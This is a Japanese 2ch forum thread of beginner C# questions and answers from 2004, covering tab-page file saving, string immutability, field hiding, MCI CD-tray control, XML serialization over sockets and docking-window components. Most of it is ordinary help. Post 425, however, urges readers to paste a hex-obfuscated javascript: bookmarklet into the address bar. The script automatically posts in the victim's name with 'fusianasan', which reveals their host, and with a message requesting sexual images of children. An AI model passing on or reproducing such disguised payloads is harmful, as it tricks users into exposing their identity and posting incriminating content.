1 名前:デフォルトの名無しさん [03/10/04 01:02] このスレッドは 「どんなにくだらないC#プログラミングに関する発言でも誰かが優しくレスをしてくれるスレッド」です。 ほかのスレッドでは恐ろしくて書き込めないような低レベル、もしくは質問者自身なんだか意味がよく分からない質問など、 勇気をもって書き込んでください。 少しずつC#プログラマを名乗るものが現れました。みなさん一緒に勉強しましょう。 前スレッドはこちら pc2.2ch.net/test/read.cgi/tech/1059028988/l50 (Part4) pc2.2ch.net/test/read.cgi/tech/1047210828/l50 (Part3) pc2.2ch.net/test/read.cgi/tech/1035895873/l50 (Part2) pc2.2ch.net/test/read.cgi/tech/1023766485/l50
397 名前:デフォルトの名無しさん mailto:sage [04/10/18 20:58:23] >>396 ファイル名を記憶してみても 別のテキストファイルを開いたらすでに開いてあるテキストファイルのタブのtagも新しく開いた方のtagになってしまいます。 根本的におかしい部分はありますか? 何回も本当に申し訳ありません。挫折したくないので頑張らせてください。お願いします。
398 名前:デフォルトの名無しさん mailto:sage [04/10/18 21:02:04] >>397 すいません、解決しました。 パスを確認する別の記述の部分に TabPage newtabpage = tabControl1.SelectedTab; を加えるのを忘れていました。 ありがとうございました!
399 名前:デフォルトの名無しさん [04/10/18 22:19:49] 先生! 文字列型変数は、削除されないんですよね? string s = "ぬるぽ"; s = "にりぺ"; とした場合、「ぬるぽ」は残ってるんですよね? で、「ぬるぽ」にアクセスしたいときはどうしたらいいですか?
400 名前:デフォルトの名無しさん mailto:sage [04/10/18 22:22:16] アクセスって?
401 名前:デフォルトの名無しさん mailto:sage [04/10/18 22:23:40] >>399 string s = "ぬるぽ"; string backup = s; s = "にりぺ"; System.Console.WriteLine(backup);
402 名前:デフォルトの名無しさん mailto:sage [04/10/18 22:23:48] 参照が無くなったものにアクセスはできない。 GCの管理下に入ってそのうちメモリから消されるのみ。 というか > 文字列型変数は、削除されないんですよね? て意味不明。 System.Stringは変更不可クラスで、その意味は 文字列を操作する各メソッドが自分自身のインスタンスを書き換えるのではなく 新しいSystem.Stringインスタンスをつくって返すってこと。
403 名前:デフォルトの名無しさん [04/10/18 22:24:21] >>400 string p = s; で、"ぬるぽ"を取得したり、"ぬるぽ"を消して、別の値を入れたり。 です。
404 名前:デフォルトの名無しさん mailto:sage [04/10/18 22:41:45] >>399 > とした場合、「ぬるぽ」は残ってるんですよね? もう手の届かないどこかに残っている。そのうち消えるが。 > で、「ぬるぽ」にアクセスしたいときはどうしたらいいですか? 諦めるのがよい。 >>403 >"ぬるぽ"を消して、別の値を入れたり。 別の値をどこに入れるね?
405 名前:デフォルトの名無しさん mailto:sage [04/10/19 00:14:02] >>403 あんたはいったいなにがしたいんだ…?
406 名前:デフォルトの名無しさん mailto:sage [04/10/19 01:40:32] >>402 どうでもいいことだが、参照が無くなってもWeakReferenceでアクセスできるような。 いや、これはGCの対象になるだけで参照は無くなってはいないか。
407 名前:デフォルトの名無しさん mailto:sage [04/10/19 12:40:14] 正規表現を全部エスケープする正規表現ってどうすればいいいですか?
408 名前:デフォルトの名無しさん [04/10/19 14:54:14] class Class { public string s = "Hage1"; } class Class1 : Class { new public string s = "Hage2"; public static void Main(string[] args) { Class c1 = new Class1(); Console.WriteLine(c1.s); Console.ReadLine(); } } "Hage2"を表示したいのに、"Hage1"が表示されます。 Class c1 = new Class1(); で作成されたインスタンスは、Class1のインスタンスじゃないんでしょうか?
409 名前:デフォルトの名無しさん mailto:sage [04/10/19 15:14:06] >>408 まず、フィールドはオーバーライドできない。まあ当然だけど。 このサンプルでやってるのはプロパティやメソッドで隠蔽と呼ばれる手法。同じシグネチャを持つもので元クラスのを隠蔽するわけだな。 ちなみにフィールドの場合newキーワードすら不要。 でも隠れただけで実際には存在する。 どう元クラスのにアクセスするか、というと元クラスの型でアクセスする。 この場合Class型でアクセスしたからClass型のsが呼ばれたんだな、とCLRは判断するわけだ。 さて、貴方の目当ての機能はどういうものか。 オーバーライドという手法だ。 機能を考えれば自ずと明らかなんだけど、これはメソッドやプロパティなど、「単に値を保持するだけではない」ものにしか適用できない。 サンプル。 class Super { public virtual string S {get {return s;}} private string s = "Super"; } class Sub : Super { public override string S {get {return this.s + base.S;}} private string s = "Sub"; public static void Main() { Super sub = new Sub(); Console.WriteLine(sub.S); } } むう、今一つ上手い説明がつけられない……。 >>407 何がしたいのか分からないので具体例を。
410 名前:408 [04/10/19 15:55:59] >>409 この場合だと、 Class1クラスは、Classクラスのインスタンスを持っている。 Class1クラスのインスタンスc1は、Classクラスと、Class1クラスのインスタンスを持っている。 そこで、Class型のc1でアクセスしたので、Class1クラスのインスタンスの中の、Classクラスのインスタンスの変数sが呼び出された。 c1---------Class ←Class型でアクセスするとこの中のデータにアクセス |--------Class1←Class1型で ヾ ていう感じでいいんでしょうか? orz
411 名前:デフォルトの名無しさん mailto:sage [04/10/19 16:17:36] > Class1クラスは、Classクラスのインスタンスを持っている。 違う。 Class1は、Classを拡張している。 class Class1 { // Classを継承させずに書いてみる。いや文法エラーだけど public string Class.s = "Hage1"; public string Class1.s = "Hage2"; } こんな感じに。 この場合名前が同じだからわざわざClass.とClass1.で分けてるけど、そうでなければわざわざ型名をつける必要もないのは分かるね? 単に同じ部分を繰り返し書かなくて良いようにしてるだけ、と捉えることもできる(深く立ち入ればそう単純でもないが > Class1クラスのインスタンスc1は、Classクラスと、Class1クラスのインスタンスを持っている。 だからあくまでClass1のインスタンスはClass1のインスタンス。 Class1がたまたまClassの機能をそのまま引き継いでいるからClassにある機能も使うことができる。 > そこで、Class型のc1でアクセスしたので、Class1クラスのインスタンスの中の、Classクラスのインスタンスの変数sが呼び出された。 Class1クラスにはClass.sとClass1.sが両方定義されている。と考えられる。 普通c1はClass1のインスタンスなんだからsを呼ぶとClass1.sが返される。 でもClass型の方のsが欲しいなら、Class.sを呼び出すことを明示するためにClass型で呼び出す。
412 名前:408 mailto:sage [04/10/19 17:30:06] >>411 どうもありがとうございます。 >public string Class.s = "Hage1"; >public string Class1.s = "Hage2"; これでやっと分かりました、たぶん。 Class c1 = new Class1(); これで、base.Value でアクセスするような感じで、c1.Value で基底クラス(Class)のメンバーに、自動的にアクセス出来るってことですよね。
413 名前:デフォルトの名無しさん [04/10/19 19:56:35] 先日質問させていただいたタブ型メモ帳を作ってるものです。 実はまだ上書き作業が上手くいっていません。というかsavefileを使う記述がすべて上手くいっていません。 問題はやはり保存したいもののとなりに新しく開いたものがあると 書き込むファイルは教えていただいた方法でちゃんと書き込んでいるのですが 書き込んでいる内容が一番最後に開いたタブのなかのrichTextBoxの内容になっています。 //上書き保存 private void menuItem4_Click(object sender, System.EventArgs e) { newtabpage = tabControl1.SelectedTab; string fpath = newtabpage.Tag.ToString(); if(fpath.Length>0) { newrichTextBox.SaveFile(fpath,RichTextBoxStreamType.PlainText); } else { saveFileDialog1.DefaultExt = "*.txt"; saveFileDialog1.Filter = "TEXT Files|*.txt"; if(saveFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK &&saveFileDialog1.FileName.Length > 0) { newrichTextBox.SaveFile(saveFileDialog1.FileName,RichTextBoxStreamType.PlainText); } } } こう記述しております。 あと最初に回答していただいたときの ((RichTextBox)page.Controls[0]).LoadFile(openFileDialog.FileName); と ((RichTextBox)page.Controls[0]).SaveFile(filename); はどういう意味があるのでしょうか? お願いします。
414 名前:デフォルトの名無しさん mailto:sage [04/10/19 20:34:09] 問題は、そのnewrichTextBoxだ。 そのnewrichTextBoxは最後に開いたRichTextBoxを指しているだろう? つまり現在選択中のタブ上にあるRichTextBoxを必ずしも指していない。 そのために TabPage page = tabControl1.SelectedTab; //pageは現在選択中のタブのTabPage string filename = (string)page.Tag; //現在選択中のタブがもつパス情報 ((RichTextBox)page.Controls[0]).SaveFile(filename); //現在選択中のタブページに含まれるRichTextBoxを取得し、そのデータを上で取得したパスに保存 と書いたわけだ。 つかさ、こんなnewrichTextBoxだのなんだののフィールドは捨てた方がわかりやすくなると思う。 それぞれのメソッドで必要な時にtabControl1.SelectedTab.ControlsからRichTextBoxの参照を取得すべき。
415 名前:デフォルトの名無しさん mailto:sage [04/10/19 21:48:07] そういう意味だったのですか。なるほど。 試したところ上手くいきました。ありがとうございました。 意味はわかったんですけど ((RichTextBox)page.Controls[0]).SaveFile(filename); という記述は変な聞き方ですがどこで手に入れた?のですか? MSDNライブラリのtabpage.Controlsの周辺にもなかったので。
416 名前:デフォルトの名無しさん mailto:sage [04/10/19 21:55:03] ん? 目的からしてTabPageにはDock.FillのRichTextBoxしか含まれてないだろう、と言う推測のもと そうするとTabPage.Controls[0]はRichTextBoxになるわけで それをControlsの各アイテムはControlクラスだからそのままではSaveFileメソッドを使えないから 一旦RichTextBoxにキャストしてSaveFileメソッドを実行、だが。 RichTextBox rtb = (RichTextBox)page.Controls[0]; trb.SaveFile(filename); を一行で済ませただけだよ。
417 名前:デフォルトの名無しさん mailto:sage [04/10/19 21:57:18] >>415 個々のオブジェクトの使い方を覚える前に、 まずはC#(というか.NET framework)そのものを学んだ方がよい。 重要なのは記述の方法ではなく、その記述が表現している概念だ。
418 名前:デフォルトの名無しさん mailto:sage [04/10/19 22:06:19] IEのファイルダウンロードのダイアログを同等のものを C#のプログラムで表示させたいのですが、 どうすればいいのですか? 「開く」「保存」「キャンセル」のボタンがあるやつです。
419 名前:デフォルトの名無しさん mailto:sage [04/10/19 22:13:18] 実をいうと自分は SE・プログラマ スタートアップテキスト 10日間マスター講座 C#プログラミング 【基礎】 www.gihyo.co.jp/books/syoseki.php/4-7741-1767-6 を読んでタブ型メモ帳を作ろうとしていました。 この本は他のC#の解説書・サイトと比べるとかなり基本的なことだけでまとめられていて 自分にピッタリだなぁと思ったんです。 しかし質問するにつれてこの本に載っていない単語・表現・記述などがあるたび 検索してひとつずつ理解しながらまた質問していました。 やはりこれだけでは全然足りないみたいです。 これだけは読んでおけ!っていう本・サイトはありますか?
420 名前:デフォルトの名無しさん mailto:sage [04/10/19 22:37:28] >>418 > 「開く」「保存」「キャンセル」のボタンがあるやつです。 それくらいならFormから派生させたクラス書こう。 Buttonを3つ配置してそれぞれのClickイベントでDialogResultプロパティを適当に設定するだけだ。
421 名前:418 mailto:sage [04/10/19 23:02:25] プログラムを書くのは簡単ですが、OS or IEで用意されている ものがあるのであればそれを使いたい。 そもそもOS or IEのバージョンによっても表示が変わりますよね。
422 名前:418 mailto:sage [04/10/19 23:07:15] ファイル上書き確認のダイアログとかもそうだけど。 用意されてないの?自分でつくらないといけないの?
423 名前:デフォルトの名無しさん mailto:sage [04/10/19 23:11:52] 上書き確認はSaveFileDialogについてくるもんだしなぁ。 YesNoCancel程度ならMessageBoxで済むし。
424 名前:デフォルトの名無しさん mailto:sage [04/10/20 02:32:48] >>418 あった気がするが。忘れたよ。Win32APIスレでも行ってみたら?
425 名前:デフォルトの名無しさん [04/10/20 07:13:53] どのスレでもいいので新しいウインドウで開く javascript:s='7769746828646f63756d656e742e666f726d735b305d297b46524f4d2e76616c75653d2766757369616e6173616e273b4d4553534147452e76616c75 653d275c75333045445c75333045415c75373533425c75353043465c75333034465c75333036305c75333035355c7533303434273b7375626d69742e636c69636b2829 3b7d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e)); を1行にしてアドレス欄にコピペして実行すれ。
426 名前:デフォルトの名無しさん [04/10/20 12:40:19] ListBoxとかListView上で、マウスを動かすと同時に、マウスの位置にあるアイテムを 自動的に選択するようにしたいんですが、どうやったらいいですか?
427 名前:デフォルトの名無しさん mailto:sage [04/10/20 13:11:40] >>426 MouseMoveイベント内で、 ListView.GetItemAt(int x, int y)またはListBox.IndexFromPoint(int x, int y)でマウス位置のアイテムまたはインデックスを取得。 ListViewItem.SelectedまたはListBox.GetSelectedがfalseならば ListViewItem.Selectedをtrue、またはListBox.SetSelected(int index, bool value)で選択させる。 激しく鬱陶しそうなUIだな。 実用にならない気がする。
428 名前:デフォルトの名無しさん [04/10/21 16:48:43] 保守age
429 名前:デフォルトの名無しさん mailto:sage [04/10/24 00:03:10] CDドライブのドライブレターを指定して、 トレイの開閉操作を行いたいんだけど、どうもFrameworkにはなさそうなので 従来通り、winmm.dllのmciSendCommandでやろうと思ったわけですが、 構造体を引数にとる場合の処理で困ってます typedef struct tagMCI_OPEN_PARMSW { DWORD_PTR dwCallback; MCIDEVICEID wDeviceID; LPCWSTR lpstrDeviceType; LPCWSTR lpstrElementName; LPCWSTR lpstrAlias; } mciSendCommandのextern宣言は public static extern int mciSendCommand(ulong IDDevice,uint uMsg,ulong fdwCommaand,[MarshalAs(UnmanagedType.LPStruct)] ref MCI_OPEN_PARMS dwParam); としていますが、 「追加情報 : parameter #4 を集成できません。無効なマネージ/アンマネージ型の組み合わせです。この値は Struct と組で使用してください。」 と、例外が発生して実行できません どうやったらいいんでしょうか?
430 名前:デフォルトの名無しさん mailto:sage [04/10/24 00:44:34] >>429 それだけなら public static extern uint mciSendString(string command, StringBuilder returnBuffer, uint bufferSize, IntPtr whnd); mciSendString("set cdaudio door open", null, 0, IntPtr.Zero); mciSendString("set cdaudio door closed", null, 0, IntPtr.Zero); で良さそうだけど。 //開閉状態のチェックは色々難しいところがあるようだ……。 ttp://forums.belution.com/ja/vc/000/153/83s.shtml
431 名前:デフォルトの名無しさん mailto:sage [04/10/24 01:28:56] 特定のドライブ、となると一旦openする必要があるのかな。 StringBuilder sb = new StringBuilder(256); uint existCD = mciSendString("open Q:\\ type cdaudio alias Hoge", sb, 256, IntPtr.Zero); if (sb.ToString() == "1") //ドライブのオープンに成功したかチェック mciSendString("set Hoge door open", null, 0, IntPtr.Zero);
432 名前:429 mailto:sage [04/10/24 17:17:55] できましたー SendStringで開閉できたんですねorz ありがとうございました
433 名前:デフォルトの名無しさん [04/10/24 19:32:03] C#でチャットを作っています メッセージを受信した際にログを表示するrichTextBox1を最下行へスクロールしたいのですが、 private void richTextBox1_TextChanged(object sender, System.EventArgs e) { richTextBox1.SelectionLength = 0; richTextBox1.SelectionStart = richTextBox1.Text.Length; richTextBox1.ScrollToCaret(); richTextBox1.Focus(); richTextBox2.Focus(); //もしくは //richTextBox1.SelectionStart = richTextBox1.Text.Length; //richTextBox1.Select(); //richTextBox1.Focus(); //richTextBox2.Focus(); } とすると、たしかに最下行へ移動するのですが、(richTextBox2で)文字入力途中に、 このイベントが発生すると当たり前ですがフォーカス奪われて文字入力が不便になります。 richTextBox2のほうで入力中でも、影響なくスクロールする方法があれば教えていただきたいです・・・。
434 名前:467 mailto:sage [04/10/24 23:06:09] すいません自己解決しますた Focus()ハズしてrichTextBox.1HideSelection = falseでうまくいきました
435 名前:433 mailto:sage [04/10/24 23:06:41] 433だった・・・
436 名前:デフォルトの名無しさん mailto:sage [04/10/25 22:10:19] 文字列の検索でIndexOfとかIsMatchを使うと []とかの正規表現に使う文字列がうまく検索できないみたいなんですけど これって普通に[]とかを検索したい場合、検索したい文字列を自分で 変換したりする必要があるんですか? それとも他に何か簡単な方法があるんでしょうか? 教えてくださいお願いします。
437 名前:デフォルトの名無しさん mailto:sage [04/10/25 22:14:21] .NET FrameworkにはIsMatchメソッドがあるのがRegexクラスしかなくて、RegexクラスにIndexOfメソッドはないんだが。 一体何でどうやって文字列の検索をしてるのかな。
438 名前:デフォルトの名無しさん mailto:sage [04/10/25 22:24:58] 大昔の「コンピュータがクリックして困ってるんだ!」っていう話を思い出した。
439 名前:デフォルトの名無しさん mailto:sage [04/10/25 22:49:21] >>437 レスありがとうございます。 検索の方法はコンボボックスのテキストから ループさせて毎回比べるようなやり方で検索しています。 for (int i = 0; i <= DataGrid1.Rows.Count - 1; i++) { string s = DataGrid.Rows[i].Cells[0].Value.ToString(); int a = s.IndexOf(sStripPanel1.Text); if (a!= -1) { 結果表示 } } 意味不明なことしてたらすみません。。。 RegexクラスのIsMatchでもやってみたんですけど 正規表現に使うらしい文字列?を入力するとエラーが出ました。
440 名前:デフォルトの名無しさん mailto:sage [04/10/25 23:03:42] >>439 > for (int i = 0; i <= DataGrid1.Rows.Count - 1; i++) 最後のRowはチェックしないのな。 String.IndexOfは正規表現由来のメタ文字なんか考慮しない。 "abc[def]g".IndexOf("[d")は3を返す。 //まあ相談室スレの487-488みたいなUnicode由来の(と思われる)問題はあるようだけど。 実際にsStripPanel1.TextとDataGrid.Rows[i].Cells[0].Value.ToString()を表示させてみたら? sStripPanel1.Textが意外な文字列になってる可能性がある。 念を入れてBitConverter.ToString(Encoding.Default.GetBytes(sStripPanel1.Text))とかでバイト単位でチェックする。
441 名前:デフォルトの名無しさん mailto:sage [04/10/25 23:15:18] >>440 どうもありがとうございます。 >最後のRowはチェックしないのな。 します、直します( ´Д⊂ヽ IndexOfで普通にできるのが分かっただけでも良かったです。 たぶん自分の書いたコードが相当おかしいのが原因だと思います。。。 色々やってみます。ありがとうございましたm(_ _)m
442 名前:デフォルトの名無しさん mailto:sage [04/10/25 23:30:28] 非ビジュアルなコンポーネントを作りたいのですが、 書籍かWEBで適当な入門書があったら教えてください。 C#によるコンポーネントプログラミング (ttp://www.amazon.co.jp/exec/obidos/ASIN/4274065340/) にはビジュアルなコントロールの作り方しか載っていませんでした。 よろしくお願いします。
443 名前:デフォルトの名無しさん mailto:sage [04/10/26 00:06:51] >>442 そりゃ漠然としすぎてて書きようがないからじゃないかなぁ。 ttp://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/vbcon/html/vbconComponentAuthoring.asp ms-help://MS.VSCC/MS.MSDNVS.1041/vbcon/html/vbconComponentAuthoring.htm を参照にする。 まあ、Componentを継承させときゃいいよ、うん。
444 名前:在日外国人参政権反対 mailto:sage [04/10/26 00:13:31] >442 .NETライブラリみたいに複数のプログラムで使いたいってことじゃないの?
445 名前:デフォルトの名無しさん mailto:sage [04/10/26 00:31:58] >>443 ありがとうございます。 ざっとみたところ、本当にComponentを継承するだけで良さそうですね。素晴らしい。 >>444 いえ、提供されているCOMがあるのですが、使い勝手がイマイチなので、 ラッパーコンポーネントを作ろうと思っています。
446 名前:デフォルトの名無しさん [04/10/26 01:11:52] DataTableをdataGrid.DataSourceに設定して、 dataGridのセルがクリックされたときに元のDataTabeのどのRowにあたるか、 見つける方法ないですか? ソートされちゃうと順番変わってわけわかめ。でも自動ソート機能は欲しい。
447 名前:446 mailto:sage [04/10/26 01:14:57] Windows.FormsのDataGridです。
448 名前:デフォルトの名無しさん mailto:sage [04/10/26 01:59:00] >>446 dataGrid.DataSource.Rows[dataGird.CurrentRowIndex]; つか設計おかしいよ。順番気にしてる時点で。
449 名前:デフォルトの名無しさん mailto:sage [04/10/26 02:08:15] >>448 わけあってDataGridをListViewのように使ってるんです。 で、残念ながらそのコードだと、ソート前のDataRowしか取れませんでした。
450 名前:デフォルトの名無しさん mailto:sage [04/10/26 02:24:19] あー、そういうことか。 主キーのところの値が完全一致するのを探せば良いんじゃない? //カラムの並びを入れ替えられるとお手上げかな。
451 名前:デフォルトの名無しさん mailto:sage [04/10/26 02:46:42] >>450 やっぱりそういう力技しかないんですね・・・。カラムの並び替えは無しの方向でやってます。 ありがとうございました。
452 名前:デフォルトの名無しさん mailto:sage [04/10/28 00:49:32] >>446 CurrencyManagerを使えばできないかな
453 名前:デフォルトの名無しさん mailto:sage [04/10/28 00:56:18] ふとどぼんを見に行ったらこんなのもあったが。 ttp://dobon.net/vb/dotnet/datagrid/currentrow.html
454 名前:デフォルトの名無しさん mailto:sage [04/10/29 13:04:24] Socket.Send()を利用するため、XmlSerializerでシリアル化したオブジェクトをバイト配列にコンバートして Send()につっこみたいのですが、XmlSerializerの引数はstream用でバイト配列にする方法が見つかりません。 やっぱできないのでしょうか。。。。
455 名前:デフォルトの名無しさん mailto:sage [04/10/29 13:15:50] MemoryStream ms = new MemoryStream(); xmlSerializer.Serialize(ms, obj); byte[] bytes = ms.ToArray(); socket.Send(bytes, 0, bytes.Length); ということかな?
456 名前:デフォルトの名無しさん mailto:sage [04/10/29 13:18:23] >>454 MemoryStream
457 名前:デフォルトの名無しさん mailto:sage [04/10/29 13:20:12] 455のsocket.Send、パラメータをStream.Writeと勘違い……。
458 名前:454 [04/10/29 14:29:46] >>455 ,456さん ありがとうございます、MemoryStreamをつかうんですね ためしてみます(`・ω・´)
459 名前:デフォルトの名無しさん mailto:sage [04/10/29 22:47:34] .net2で質問なんですけど、、、 this.TopMost = !this.TopMost; とやると常に手前にしたときにメインメニューのドロップダウンの部分が フォームの下に隠れちゃうんですけど何がいけないんでしょうか。。。?
460 名前:デフォルトの名無しさん mailto:sage [04/10/29 23:58:23] Visual Studioで使われているようなタブコントロールを作りたいのですが、 あれはSystem.Windows.Forms.TabControlからの継承で作れるものなのでしょうか。 サードパーティ製のものもあるにはあるのですが、 せっかくなので自分で作ってみたいのです。
461 名前:在日外国人参政権反対 mailto:sage [04/10/30 01:16:55] >460 自分で気合で描画することを進めます。
462 名前:454 mailto:sage [04/10/30 17:42:20] たびたびすいません、454です >>455 を参考にやってみましたが、うまくいかず(´・ω・`) デシリアライズはこれでいいんですよ・・・ね・・・? MemoryStream msRead = new MemoryStream(); XmlSerializer readSerializer = new XmlSerializer(typeof(Obj); msRead.Write(byteAry,0,byteAry.Length); Obj obj = (Obj)readSerializer.Deserialize(msRead); msRead.Close();
463 名前:デフォルトの名無しさん mailto:sage [04/10/30 17:46:03] >>462 MemoryStream msRead = new MemoryStream(); XmlSerializer readSerializer = new XmlSerializer(typeof(Obj); msRead.Write(byteAry,0,byteAry.Length); msRead.Position = 0; // コレ追加よろ Obj obj = (Obj)readSerializer.Deserialize(msRead); msRead.Close();
464 名前:454 mailto:sage [04/10/30 17:52:28] >>463 おぉぉ、うまくいったー ありがとうございます Position指定必要だったんですね・・・・まったく気づかなかった(つД`)
465 名前:デフォルトの名無しさん mailto:sage [04/10/30 18:26:25] >>461 ちまちまやってみますわ。 .net 2.0になっても各種コントロールはショボイままだった…。 幾つか良くなったのもあるけど。
466 名前:デフォルトの名無しさん [04/10/30 21:12:36] CSVから読み込んで、datasetに収まってる 7995.005229 とかを少数以下は無視していいのでintにしたいのですがどうすればいいですか? Convert.Tointが使えなくて困ってます。(少数いかにも数字があるから?)
467 名前:デフォルトの名無しさん mailto:sage [04/10/30 21:14:38] >>466 doubleにしてからintに落とせば?
468 名前:デフォルトの名無しさん mailto:sage [04/10/30 21:16:36] >>465 基本的に言語のライブラリはOSが提供するUIに口出ししないし、するべきではありません。 そういうのはサードパーティの仕事です。
469 名前:デフォルトの名無しさん [04/10/30 21:21:44] そのサードパーティのライブラリでよく使われる?ActiveReport やFlexGridなどの解説本を探してみたのだが、全然見つからないね。 ヘルプだけ見て使いこなせということなんだろうか。
470 名前:466 [04/10/30 22:10:21] >>467 いけました。ありがとうございました
471 名前:デフォルトの名無しさん mailto:sage [04/10/30 23:28:29] >>468 まぁ今の".NET Framework"はそうかもしれないけど、 いずれWindowsのAPIになっていくわけでしょ。 そうするとやっぱりWindowsが提供するネイティブコントロールは しょぼいってことになるわけで、そろそろどうにかならないものかとは思う。
472 名前:デフォルトの名無しさん mailto:sage [04/10/30 23:36:02] >>469 VS標準のCrystalReportも日本語だとあまり情報ないよね。 仕事で作るような帳票類はGDIでゴリゴリ書いてる時間ないから しかたなく使ってるけど、正直"たぶんこうやって使うんだろう"の世界。
473 名前:在日外国人参政権反対 mailto:sage [04/10/30 23:48:30] >468 Windows.Formsにまとめてるのはその意図を汲んでのことだろう。 だからこそそれを拡充させてほしい気はする。
474 名前:デフォルトの名無しさん mailto:sage [04/10/30 23:58:33] リストボックスから条件に見合ったオブジェクトを削除したいのですが、 foreach ( UserList logoutUser in listBox1.Items ) { if ( recMessage.TargetUserID == logoutUser.UserGuid ) { listBox1.Items.Remove(logout); } } と書くと System.InvalidOperationException: この列挙子が連結されている一覧は変更されています。 列挙子は、一覧が変更しない場合に限り使用できます。 とゴルァされるのですが、いい方法ないでしょうか・・・。
475 名前:デフォルトの名無しさん [04/10/31 00:01:00] あ、最後のところRemove(logoutUser)でつ
476 名前:デフォルトの名無しさん mailto:sage [04/10/31 00:04:54] そりゃ列挙中に肝心の列挙するコレクションが変わってしまっては話にならないだろ。 forで回してやるとかしな。
477 名前:474 mailto:sage [04/10/31 00:13:16] ありがとうございました。 1回ブツが釣れれば十分なのでbreakかましたらうまくいきました 吊ってきますorz
478 名前:デフォルトの名無しさん mailto:sage [04/10/31 12:12:15] 「すれ立てるまでもない質問・・・」に書き込んだら怒られてしまいました。 同じ内容ですが、こちらに書かせてください。 VS.NetのC#でプログラム作ってるんですが、データセットから テキストボックスにバインドする方法が分からないんです。 といっても、よくあるデータテーブルの列単位でバインドするやり方ではなくて データテーブルのある条件に合致するレコードの項目をバインドしたいんです。 例えば Key 列1 列2 001 1AAA 1BBB 002 2AAA 2BBB 003 3AAA 3BBB 004 4AAA 4BBB 005 5AAA 5BBB みたいなデータテーブルから、TextBoxにはKey=003の条件によって 列1の内容(3AAA)をバインドしたいんです。 もちろん、バインドするからには変更結果も反映されていてほしいんですが・・・ お願いします。
479 名前:デフォルトの名無しさん mailto:sage [04/10/31 18:21:08] ふと思ったんですけど、 using System.Windows.Forms; という感じにしておいた部分を using System.Windows.NewForms; とかに書き換えることで、クラス構成をそっくり新しくする事って邪道ですか?
480 名前:デフォルトの名無しさん mailto:sage [04/10/31 18:22:36] オレ的には邪道
481 名前:デフォルトの名無しさん mailto:sage [04/10/31 19:07:04] >>479 その場合、 using System.Windows.Forms; ↓ using No479.Windows.Forms; みたいに企業名(Systemの部分)を変えたほうがいいんじゃないか。 ttp://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/cpgenref/html/cpconnamespacenamingguidelines.asp
482 名前:479 mailto:sage [04/10/31 19:11:46] >>481 ちゃうちゃう System.Windows.Forms と System.Windows.NetForms の中に、 型は同じだけど挙動の異なるクラスがあったときに、 using 文でどちらを採用するか切り替えるのは邪道かな?って事
483 名前:479 mailto:sage [04/10/31 19:12:21] >>482 別に名前空間名はなんだって良いんだが
484 名前:デフォルトの名無しさん mailto:sage [04/10/31 20:48:00] >>482 そういうクラスが大量にあるソースを目の前にしたときに激しい絶望感に襲われるのでやめてください。 using書いてるのにnamespaceフルに書いて別のnamespaceのクラスを使用されたりして混沌に拍車がかかったりします、してます……
485 名前:479 mailto:sage [04/10/31 20:52:06] 何となく分かりました。皆さんも回答有難う御座います >>484 がんがって下さい orz
486 名前:デフォルトの名無しさん mailto:sage [04/10/31 20:57:35] >>484 using Hoge = System.Windows.Forms; Hoge.Form = new Hoge.Form(); で随分楽になると思うけど。 まあ479みたいなのは見たくもないと言うのはよく分かる。
487 名前:デフォルトの名無しさん mailto:sage [04/11/01 02:18:40] >479 そういうののためにAbstractFactoryとかあるとおもうのだけど。 あれは切り替えできるとともに、システム上での選択肢をひとつに強制するという使い方でもある。 ソースごとにusingで切り替えられるのは>>484 のいうとおりたちの悪いバグの元。
488 名前:デフォルトの名無しさん mailto:sage [04/11/02 04:49:20] FormクラスのActivate()メソッドを使用してます >>アクティブなアプリケーションであるフォームをアクティブにした場合は、そのフォームが最前面に移動します。 >>アクティブなアプリケーションではないフォームの場合は、そのフォームのウィンドウ キャプションが点滅します。 とあるのですが、他のアプリケーションに切り替えてるときにこのメソッド呼び出されると、最前面に来る場合があるのですが、 他のアプリケーションにフォーカスしている ≠ その他のアプリケーションのフォームがアクティブである ということなのしょうか・・・? MSNメッセンジャーのように、通知が来たときに点滅するだけでいいのですが、 これってWin32API叩くしかないんでしょうか・・・。
489 名前:デフォルトの名無しさん mailto:sage [04/11/02 09:28:31] >>488 なるねー。 .NET2.0ならFlashメソッドってのがあるんだけど。
490 名前:488 [04/11/02 14:36:14] 1.1じゃムリかなぁ(つД`)
491 名前:デフォルトの名無しさん mailto:sage [04/11/02 17:24:17] VSの画面にはドッキングウィンドウなどありますが、あのコンポーネントは何処にありますか? あの画びょうのマークのついたドッキングウィンドウ・コンポーネントと、 プロパティを設定するためのコンポーネント(VS右下の、Nameとか設定できる奴)を 探していますが見つからない。
492 名前:デフォルトの名無しさん mailto:sage [04/11/02 17:36:37] >>491 とりあえず > プロパティを設定するためのコンポーネント(VS右下の、Nameとか設定できる奴)を はPropertyGridだな。こいつは.NET Framework標準。 ドッキングウィンドウは……the Code Projectにあったようななかったような。
493 名前:デフォルトの名無しさん [04/11/02 18:59:20] richTextBox1.AppendText( recMessage.ToString() + " : " + recMessage.Message + "\r\n" ); を richTextBox1.AppendText( recMessage.ToString() + " : " /* + recMessage.Message + "\r\n" */); string[] splString = recMessage.Message.Split(new char[] {'#'}); for ( int count = 0 ; count + 1 <= splString.Length ; count++ ){ if ( count != 0 ){ String colorCode = splString[count].Substring(0,1); switch ( colorCode ){ case "1": richTextBox1.SelectionColor = System.Drawing.Color.Blue; richTextBox1.AppendText(splString[count].Substring(1)); break; (中略) default : richTextBox1.AppendText(splString[count]); break; } }else{ richTextBox1.AppendText(splString[count]); } } richTextBox1.AppendText("\r\n"); } にしたところ、エラー音が出るようになりました(処理は正常に行われてるっぽい) なぜでしょう・・・?
494 名前:デフォルトの名無しさん mailto:sage [04/11/02 23:03:59] >>491 DockPanelSuite sourceforge.net/projects/dockpanelsuite/ 無償でオープンソース。現在ベータ版で、メニューの統合がうまくいかないなどバグが残る。 DotNetMagic www.dotnetmagic.com/ 機能的にはおそらく最強。でも有償。 MagicDocking www.codeproject.com/cs/miscctrl/dockingmanagerextender.asp DotNetMagic の旧バージョン。ライセンスはよくわからん。 SharpDevelopに使われるなど実績あり。 Docking Suite www.divil.co.uk/net/controls/dockingsuite/ 現在ベータ版。非商用利用に限り無償。 代表的なところでは、こんなものか。見た目や動きが微妙に違うので、実際に使ってみて選んだ方がいい。
